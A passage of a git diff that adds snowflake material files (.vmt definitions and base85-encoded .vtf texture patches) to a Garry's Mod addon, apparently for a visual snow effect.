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 E0j?#A-~a#s literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vmt new file mode 100644 index 0000000..b7abb98 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/20" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/20.vtf new file mode 100644 index 0000000000000000000000000000000000000000..356cefa6327d0002b4ea9f05a0b5429aa76bd045 GIT binary patch literal 5680 zcmeI0dr(x@9mmf;V0k~*(x|v%WiyL41gmi)U2r2~pj*M(s+ly@kw-L+JXT^tNF887 zi_(c%B*rJokg-X1Is+1ODQO6gSfU{%j5Z9g5)_C~L&D7CiV^V#3;p5O2HJQ&n)BOjkqkJ^I`rlk~?6RL~|LYs~H`@ zHK_Q)z{s0Y;AQPOlSQ6)8i0qSl4E|6r~UxkfnI5fG9RY#KNVd)AsxAJ9qhwyY2rsa zw#EZbc-%alK30_s>~rVrOPxoeXnc>2+3CR~C9wC1RClemHc4of*`Lq1$iTjPg0FG^eCi`$ymW=Z5U`cTkFeyH$@IIa-kt;MV>b&F zE`2r;@wu<5J{73=O(hwE(4M>X+`dsRWgYNL{1w9z)b=TG7CKO>jCc7h{!az&25@_nK{Mp8&pqo+0Di_59{L*-1nn`uzHPxAhTR<|z0FTea~=aQ-*I zKI=GNGXAOmcBg()u>Z92zJBK*4h1ID`2ENRi5d8J?>$TEcRepVKb{gS;2iYLiA%au ze+B=w_y04sNT;Xz$}K1PMcpmWgI!!3aOU7=FGmAoNx<8Zh7~J-t!V#i%0J3AzyXzi z&gc-tW5>gF6l>R~AN&KyoBJ9|5@@}=yExY4g)Z7(JX(xI=FaQjzr6L;s4biu_4oKh zonoqT^}iJTYL@i#d?f|%Doj<$wEdKds#*Qv*gJC>)3+!O8}i^iMaQ2Ks6ItCWUveN8}B1z zykGOB@%)(eW^oZ$*H!P*mu>%tvS+G2pA0&`+4e&37p2FkGiiS(9JKp)-+=yK-WYpt z+FDOeRL*haGpd%G2k-!J*yr`rA=st`-kHu75@&Kb{a4*4?On}H1$G}(KfifzT_-S` z&pJjQ*1k}FuBA0Ol%xRhy!r^NPG1h3g>)CCI`d`V@7yEZkjTRzh2Mi7XmOv>at1i; zDz?RG%~ZeKc6;q3AA>z_^j;+i06RigJEXy8#T5ukbFL3?4 z<e1qXqptaWc?eHpt9}Na z_nYx7F%-xS0lU{=T<&j<1b*eKVI$7B(EU*LrK*hRG3We?tF!BqLHA>}9+nq1w(2G1 z5r`M~de!kL&b8lQ_nQ|);sf;j6*e}FWAF&=pS;Vs95)*&dtLJXnTZ@3pglI8Kk}Tl zANpY~O(W3vI5|1IGvI1(Z66~xEJz~-@^}| zIx5iH+`ZC3x(Mt+z2%BdL49mImVav?&Vu=~tEPDvTgypI=lWc0*8^MV`@l7_GUHa) zc{Qe(EJh267mw}nT<=@bTJA9Ea&kH2A@U}OKZzIuX766bU0x4A9ixztoMVb$6_-{eu-euxuH7eNblSHM7*x_K*g>Ku&es3`8bEexA}iS?jmyx z*ijZjdnWA;PW#R_PJg~Ci>`O;tr!oU9;5o^@s(snD5w6>U)f&mF!D5CS(kagP;W_k z+5=v_kJ{&}pS3^Y7{8@b$WJoPy`6R@ZI!gW7j4#jUQqASyn0^BWzzbT znPmK2Q_%d_dKSuI51Uh$f6w?G6zR&8x-&n4e3y{&wSx6-XFo~aI!yEb<)n7TlAre_ z_-}5*BlXy_8<@Q(*4Xl=Yr<)LOU~BkcKHpFS?AP`t!L?__S6YMzT~`ED16^#{TIq! zeEyPXxebLu@UUR9#qB!3k0-IBLPuMy;jrAVwycuNI#ugRp8L@w^ z_ndp~x#!;7_hv>R5kd%)C#>foZ~uo(kbKlrtj|O4N4`XT$x9-^5AM|8F_X`;`VNp= zd_u@bP>q_Sh0?zDd&&hyY7xKw3 z$UV7%eWkJG!1<^yY*TPf4Dc!(t(V1c3SiHj^OwZ&sZ!t^rzU^J3{g1n22|i;^n%ts-O_lN_e|B|6}e4-jfV!lGP66{?@OSs|7+G+gb?B?@@ zMxxIZT!QwF><=^YiMH_^W~?=SusL!R=vVi-!(?yY)(-p&KEUl;o6`+^4DZ_Eo*5AV z>~pDTbRFN9`fqPP!_Hsta*_;+bF)C-5UCjRnCr+|NUFWU9}$*UuQ@iir<^0wxedt>f&qm4cLc)V^Gk1BNZTWLyg3iRi1 zl#1SJi2Vrof{*t)`C8lxdf4XEw`|6&;i!#2{T#%zxBdU$-m=?R z^Yv-R!)2>w{Vg^@{?u6N-ExN3m#1y-dF!uLpwWsoIYJnJ7sD~*IR60P=gnVxf0{{s zI^?Ux)ZdFJ7I|wQxqt4lt7j(6N(5dTCWF4&WiE3w$gmzbritXo{(@Ryd;9%5dh&FFJ*>{zYoZ4`9DT$i6mpMh+cMCuWbWUlO<# zTD{&N5>`-XieR z&Ssa72X1$X4u4fQ*xDbeG{kCdOF)hyNU;(~9+`i=9gm~-UTK#6v!4IjL<0P?`3+GWcT zQG$xrhZd2OutmB53dlpWq%;2TW1sIFjW6?e%lH!L`f9YS-xW+W*t>!&CD~bilYqOC z$5?iCECe>!mqwB?y{ga5*t!E2mpkI&TD}p75BY+!`a2ZP2 zb`rQ2m+x%Q80dM~wUhX-I8W~vNf!z03(BFrBm1E@qg1abR8nZ)>ck+Iiod8o_XTsg zfSk=iAa8Ttp-oKlTnc=Rc{ed&PF^2iBVyZS(L3q-b!6Yyu3p|kY-hyXpc~NNee9_! z(iEHqCiT=1!Rq3HXWUKAlUJx{yycCo_Pne3sohUJx}uWD@Cmg42hN<2hAmWr{RWq+ zsv#$eqJTY2y9&J&_x^I#F^%NwFAHJ?8_@xFN_bi6?%{VAG zsWM>`a1|3@KfPh|QD76!jM$4;GypdVBr2v-=LL*rAqf)t{A=}Z$|=kIS?k|*L4VJn z0nXIEv`(=gE<2yD7qjcRjr->A`2_s!Mlr>gx!rSsjW~mgQ~T2OYnGJCmM$x62DzC@ z=Y}T+v%vFjbg90G&-)S>caplxXz6{&(fWE)`O14yN&Ng|1K4jtYWGkjN9R|0wLFo; zhpvyv;*#WvHs^&VOz!LI^r@iV#;|!N_MHS^kNdlaUdplFmt%i)S!ml|V10PvNIqE# z?K>86!As7LqV?!W$LC1j3$a?;`(P*{f3Dcu4kBu>G*!ZafGj-CSOv^UMXdI9&Q?YW+>ZO>Y~Y*AuebmIEurmfwE10NFUGJ!nu8W1fNL7{jnzR zy?lDk{oZrV{qgR5Zd(?TA%sNa%Jf|19zV?l$#1{fdrh;PJY*r{rcj8c#(KwC^83G@ ziAnC55Mo(!lSm{fvFVMJQE+g%wCtr{s%w)yc4APtur|{seGu3o(cDZZs!{{X|FG&d zzfl+i+$S1;IVrC;0XPe3Y7;cIQs7>~7d3A`4ZPKD&#f8&PWSj%(e|Nl;X*q$JOcKl zk;>DRS*xdj8I(6TTp(@(jJ?N(8=*Hj{du>;-=2M(^p^iM2hzv-I5ylcS%n^TaCy|KJx0 z+v>;)oc0?NYwF+AJRAZ1=69DGh>`rJ?YsLe&P^N+IgCT>pM+fpd)P^$SHm$_vj>~3HS$^w-_C`=q#|copk21xPZ6Y2%DWXz@k69>j6z&Byc<0^-e;!q8&+Ol*B+4n4JH?a*@{{Z!^})kSX#HjT)UGbG;W3C$Qso}6=hK0s95`@nkWB{mdlwse%3XcH zyIb7;h84g8c80uPrBuJ6kqkC*0sCU-E7YHy^_)M~Kz!_)*RP={@A;DcKQmw0dL-ta z7eaf!fA&hUOAUUp^IcyHoZrQV-1R>Z3;iP#LIqdI@XW*;qQ^f<2?6i8Nc>wE2eAB0 zo6(g?j{lI~0-phmEjjl6Oatg;_hLiLRf03R(iiaw1tH*E2Z^Vdi31*U@2^-n=X&Ii zXT+gwEq8vgqA+VD=X*gm!Ln*pLg!z`w@osxfAnuRj4UYu^uN$&;N_f^_D^$Ye^HJ} z;{ZtsbeFtF;^CaXLbq4zx$&qER=U>{_2=j7YYu9|Iy)|=^MMUVPH|fEMu>OTGu3mx zpzD3vh&l4yy7mh2^L2c_*30<_8yuIr==@Vu6g#^+T(sT>lvg*vnLo+5*x1`D;|9nt ze#l(&HD`RXQP~~evw`m`$!5?;^@9||*}`-}dtc`xq^B6h+T&P13H>WaNN8;I1>kK~ z@;>9_!`BP{c~s}RK1}n;*oT$&&t9E#eM&cs8>dXAF`&P;OU?ALU)&GO*Z;41w{cS2RpTHoJO$$y fe5vKGexLigevv~e{Vmllx3SDi{qMkcI_IDngfVD!_`h|QX#9$Jle5o){KwQn<&^>R`-0d>X>+Euu zHk&Q|aj=jDjDmt1IQJDzv*xEv%kl4#MkZG=cPI`xyt8Jx@rL#* zV0Mp;&8YG>0kgUXE(^khX5i^Wk?|3-vT1!4J$DYsCn>s3B#j~Vy!8##_R>&V`zGky zUOuXxhcgdsU6j8A=QjuV3OdUEk)$pG*oaErPcwuZ2e!T#f>2Y_lZ02PSV*X91P;6y zmStA|treIG%*!z|N)k^mO8CcHbh!iM79?z3A+?Kuxv05RMC%EA$K#75yBTE^qagX1 z)5h@3wb8`Bujgkf--~E{!oUY4e-TzDFiEB%{s%h#l8q7%tcCbWT>3v_k^K6y_go8; zo5E}%{@XcgH1V1+HjHQEGZCj$L8-t=Jra4mtS%nd`jjf5UBz1ld_AK2*C~{c%)gCA zf5;bbi2OKOqY+8}bN-(-7b}v-W27*iZ7VKLq@4|XvzvWYk0%hgd#F0|6w`+l$o$(PaQq?L$awvfjI}JPj1SMhybs%}ao1}UqP3p>uou?mdakE0 zs6_{~1C=BmJM!aGjU!nwo;64naBJ-`BEQM1zLZeljz7+8d_R=onm(fMJs-Zf8PR1N z>@wIt*@1&O>0bZ7o`2kO!3NiSD`Ua`*_kemHUd9x|GsPc_4mbF_lOJLhIl`@tG0B1 z@_!tEw5va%Du~BBe;ZxR055rv2b;x;Ch)%1K!iOOV_0AtOs_^TGO6p*hK^1yL|7#r!i}jfk)3=J*Ql_WHayx z`tssZsfOfx^#gH1Tz)wN^3j%9b2h8F8u(tp8}W45PO`rbu~fq9*WCL{aG#Fnxu5xp z-luTgLNZR?59rfgVGTgcS=aYFR63X`v@e&9CLMjO8@dKaE&Psiil ze`cBwZ~aN(@V1reFfzZUKJ-C7zo8cFIl9fF+_SqA37hiGN3O5S0q!>y*Yd43`+-NU zgk;pszwk@o$+n_{E8^e%4Y0!`JrrSdpYQuDLk+%;M_E`Tkc<`6jWli=0omjy0L$8uxy`0k8jhSs~f~g9a9dy#D;Fq(9tc{luDP z(1n3NU)USX07s(|M@YNCz0|NeYg=(WEKwQARS-5noZPaF?>$|DRf-a~#H?TX0{ zuR8_yH~v$c!W0*h`FEa^<*lxg9t8Qr))Tk?+S0ij*n(aS%8i9E#{$IQm9F+h7 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vmt new file mode 100644 index 0000000..031714e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/24" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/24.vtf new file mode 100644 index 0000000000000000000000000000000000000000..ed6ebb1d23a41818d926912ce667d6cf648089c5 GIT binary patch literal 5680 zcmeI0drVVT9LLXXv9;RTVvVSUIYv=5Gd?h6i`!aXNHq*J%xzIO0WmTt)tInlQ)_XV zki`JS2s%j@HM*E(!8xz&kqGFRPVJ&@iqsh+PINvhDvv^Y&(1CU&b{0v>pC&=$C|V! zpZhz%-}(N|>z>o48OcbA5Ms#J9Q=~sxLzhmKATO#x0kh~P-@7JPRDSaS35EJJgf3G zqK^MyOn&5Y`NA0qb(E1>?Uwo0U)$=O7_<|EUv6>!;M+b7IHG}_Qa{PB2A27jW*<_l zHUP`3OLy1F@;$(b$l^3woDslR2;VsMV>Gapx2F`P18aiyi;Tc-#!_WG<&p#2Tl9PU zT`tmtylRAeGanC4K(gL^2-l)Cr!lQ)0@yd8k}{)Z7j3`uWqCT%*HQMzprHxl&b$Tn znZ@N+&tVPKABil)-%0g+&!m;@7BQMrpU&$5e;rEU^QHBJ6GdbX#fA*l>R~fyLA+4) z!?nx0`1tu-AU?+svAIHj`OxjM3{|8I?C8tbbVk0G@`GUgkwsun3XWeG`Pw#*m?`Ry z)L*x5cJ*xe1L6(4Z*~P2NZO^k=61T5_jW)YvS z^+m9^GnOR>K4a*3MRnXN_1|;(!5*rNzpnLX+c>JHgY?IQ9dT#CkIWY`{=)o~>d}5N zDXmtd7bjNe%#qjV`g({h=Z$klCO|xCIq6&)H&+|&hUW*-eEozl=9`=}UcnZ`f&Uxa zqJ#6!>6(CNcH7T)n!N#F?P+{rtD~?Pc=0Xl&pV!-1FTrb#&~Lk^&-tz%E?I8Z+#e6 z7W3mn$M3PsQm&s~egfiGGpVwP?+Nouv0_BNxc=-XTyIi+Vr=23vnH zx$LUE!rTKee+HYrf!6cNde+*?X43UD{JWnq_SvRE{_1UxfXNg~?Q%pmr!e-5fz}%; zp7zLLYjg5yFX-2J*qnX7wx58d{*y0~%_FH`7T6aA8jq9BneNZSs%kb~wm*0m>{5T@ zpGo;gMgGH&u^NN+(RipoWP8;=zF(yAo|H#_+u;qkaL!u8kPb$fA_jlQq(5~MaG9RvEpEfZ@^T&pNwbyhDx9Q2ZMEu)=A z+Y483xbk~d(=(0&5P>D2=(>sPVAvi%p_sRTPZ;25!z zbQy3|lU-q8^ICw>bxamO`()tp!TUu6-M^l8{+hkTsp9*MI@g`ESCp@`ebpz#$Xeq- zui~NKw(lL`eyZ42squUhSO9jZzx-@c_GwZ4D9L?FS?#bki|kVWXU)3S#w>AvO}T(= mMt0R)$Tzytt`OUmlKh^v{(){kp8VfcJBZKs1D)?+kM|eA+?bF6 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vmt new file mode 100644 index 0000000..cf9076a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/3" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/3.vtf new file mode 100644 index 0000000000000000000000000000000000000000..4e48ec9560687e176715ef9473eb22496dc6f83c GIT binary patch literal 5680 zcmeI0drVVT7{JeMX$we8K__4>;J{+s@R6_%hYk}A;f_hjByNtG2`!Hd3M!^Lw^^wh z(=0~DjFO2gQ#a-!3*bD)r~!rOm<*lUvSOWX>U?BNU=AVB+n${Z`408|vBD6SJ#KPu z^UHU>=lRY#_jY+!DpDbYIC?K0y6H1!m?_e0bMnYN%)#_WrKS(9mh<#q=_mC1yM804 zi7_EW2z|)q^2yQB4UADx(DQ!n@7)QjT{tACf^~?my47Bz1J398(+g|1ECN=ocI1{- zta1XcLYZ?Ho%lT#cox-<<*WRF6?$xO;uL02u?@#N8<#RR4vn`nec60*yu}Rq%_uGM z(lK*4aJ?)Y-Y7xZ1OL5 z(vW}+h_9savv^`N8ZA06d$IePLYxgF_Mby(V!mwrP@_P-#X^gXLocxJi&d+svj#nj z$JcmYa=&V7&uBgl{)3iK#(D>^UkT1h!gN=dx+oY;?R z6TqHgA1-p@@}0nf=9>BI_4YHs7toennt^xnfl>R6c}U*V2pn)wte<)waPW{nnE^OY z(m%+Pt`b`SclI#!R_nN0)vah@}T76BDxSv~MVEie1UYG+?*?Hm1|AUr4{v+v6 z9w9-gvddaR&UCK2Rc57r7#zRJ$aDZK+Kx3Q=d#=D}^o<`h8 zHr~UbkDuc0aUh@Qe8ME}V}W~VGR9mF_z!+UoFDfFVC}Hn4XhIPw zz>R2ARU2R953KqKTRMUSmY?>Q%KSY>&0`=})*p?h`y*|D;rX9@nEGG7m-R!0kuuh^ z`b{O2m5n3oAxYHJYC+#u{rtCEOLWu(j1M8{xigK0jJ5CEY!P1H6N)-_soR*#JDH{6E-E_ylmh}pW1|@>f&?2A-l1<+gNfOn8>0Oi7j{8_nvVN zxk^%tnZKCV&&$2n!|Y13gIGtt_rj0difQ%A$5;O2m6s0p&kGR0UvFX^Y3XF~yU-?k z+}1?a-+tGyrPaEh^-p+L#ThcVTL66*mu8RS?F)d%8{b6hN1vnnb6@ERh*x>GxyMnr zl&yC`QSq+Q>w7}oNmfM85Lo|)xwv`W^BFie;3Tdc_rM;CqwOrqWc8cqe0v|K6R og6p_Q2l1-DBtn!;cxdxC(fN(lel537X2^YT|3{70|9^e_A49oCq5uE@ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vmt new file mode 100644 index 0000000..6bae72d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/4" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/4.vtf new file mode 100644 index 0000000000000000000000000000000000000000..63c43b5c90d584b7567dc87ceb27d4e162c977c0 GIT binary patch literal 5680 zcmeH~eNad3#wG<`V(L9y_!%%f+w;GHV*cx@FEVHb# z#^`FXvJFuzAAXF~vD!aWD88=Soh{-gwe5shEf5GMCIKrVK?t%|vNyQrCX=06hg~}D zANyvK%rEEObI&>V+;i?*mA3-X=+oaiLrZjM5ermt8FeAhj{ zSd#|)y!9ywtNN79C;4PS_m*DgdiKv08KHQuk@g3Dj@KK8m+eIiusNfdV^UKjUQbZx z$Kz)biQF!DZ+Qg@xDMkZ5HloZ8i{|t_F4TNYTFyi@?pG1i8tdXLZaW+(@>++y;$za7kekp9ucz< z0q)^xDK(Wr&W}H0H2*38qmi`MTW;Y+XqSy0 zBk}E`&kqKc3%Q`*PAPVl76y}iGb25B$saxO;)u6y@;;xw{!f-^bBgjUHlOVOLQ`c> zyVv=jtiJz`$L9qi?I2BCyw2Zbq%gK4adW4)Xgiwq9yOv7}#|LD|DAGh0rAd?1(N$##l~+!lg@{nZJt zg8UnbF&%IWlKYH<@BH|dE!_l|we;V!|p(J&qh_6HU#{Vc@%HjUWQIBw+cy#;~7BYfk`g_{WM) zNl_gO?7W&O4aW@z_;Jfizk2M&7U3Gr8(#IuDi}W-cFt3u9@C32bFoJ-fAGr1+m751 zmB5sZsm!BmNdCws>A!D$oM_(6rC#-`1L4cj)v?{M-q^LL?_4-(`7`k7S0A1EpzDjj z09!hQVbah%8rW=^D7PeD?)!^~_Uwh<$5|2us`_08l8vc3~( z;-jK;i$Ffxb-bcu3j5)Vo|FxRdJWls*R&nC$Mp&2u-?G5&OzDS;sD^mwqK(|vCH=X zKkRCd8_#*_nZ+!l@OJY+j_*%H60i8$%&iCdnWI*akF*CXSKF1lfSssTWX}yE@vzJt zQ+_hTlOI-8YI*hBT~A@W?|x2}pKwoa{pIMvPeGp}K@-J>c5cK%+FEUy-k z`u60;*=_sR?)U}Bhi?@c*{7cz1b$$^yZ`7ussH_Ln0H-B2l>O!&2Jf9LQ)@H*G5*~ zD!4@CLp$E3Wd~x(`{K((NO5WHk*hF&`szKnepme0{UP`d`0#kuzX$w=>OjeBK(xY zr7*vLdoA9AJu882)71!_QVW59Lavpnw`R-~X}g>)Z`kD6rtTQG6o z@Z_fn;rH==Z64^`Y+-bQ)=k8IBR7ZNeXk}Q;bR=J&C$jHdFwd z-Nm#l@#@FUNS!#TIamtvp}3|n?%3DWz@rjvY?1aAa^H9j$*H)qM&kc84{t>vR zA!sV!x1JZT;6?2ENU!*;M5u4r%bv)S=L(GM#u)JDJBcQYnJz8@F6fh2H5VP)0Gx{Q zs}{-XiGP7IruCwi{^!~AqnF>ws25jJYVbGvPWj=llXz2>uRnJG;}LFtUitAu+xt&} C756>> literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vmt new file mode 100644 index 0000000..6e28b0c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/5" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/5.vtf new file mode 100644 index 0000000000000000000000000000000000000000..98a63e5c625c9381611651ff1b0548e10383f1ee GIT binary patch literal 5680 zcmeH~c~Fx_6u>u!h9Hm#2z6o#XhdzR^~6$yU=d5yiq~jwK-5yl1Z^Fy2Loa)QU^f= zwIhdAJNA!O!Q*4v$`BRAdf?R}2*wLV>JY-A5EHW9FYq?u>uAPN>py-oN%--0-@f>>I$XL|!gllMg(|IzE}sH<9%ff662vH}%e0jcz z;J!$eLF}jVPw|DCkVqRdy#ARPs$41`jv`opDO(c-;>`w{O&s!o{>4^*`GbL{aQu(5 zvMqiKtej2fbM-l5(Olvj6Dx!DTKLCyCCj!8fc?u4scQn)z6UI7XBM8AyuSfhS{J_C zJJ5I;coS<6aT(ar`ds-Ve&3}l3Z-=Y)MX0xs#uJO&H|Q7e{Xu>oWi8#5x+NPp z>fy0mWhZgJd;XYx`_rbbYN3pp1S1jO;0bai8r36zgw+i`L)x5Zez}(!58*X^3^1N| zUtw@P*O3Veww9`POHHf0p1{!cu-DmiSwEngLJ1@f9g8*}5qWh1d~Ezgt2 zf3`mHk>b2;EUYhWQ|YiN^=DvT|?`Fp_+B^<@wR&y4xaD;V^-oRO5C zE%=PaXWTa{G*cNh&DVzrt;x^Ut%dP9Xm!ie)En16`J9cU9&GXI<-D#3bH|fH9=jNIRY>Ci*l+Imajk4WORIXEoI4)H5&M!*9gKJ3^jqg_Mtwz} zRu1z2%zs9Io>rfG=gHXC0L>p@&pgcV2E}Av09Gzdk=y65BmG6z{B5EA+WnuDoUo2~ zGw5@<7;LWE(Rm8kk-q0Gcm0r2*9Sz?`VTKTgxL>#;;u*jWuc>%qFTYPrP_?=}&zbhEP4XNfKTj_iBUa`6C?4=Xe>uy5wI4q|W~`Sk2Fz#soYM8-rj 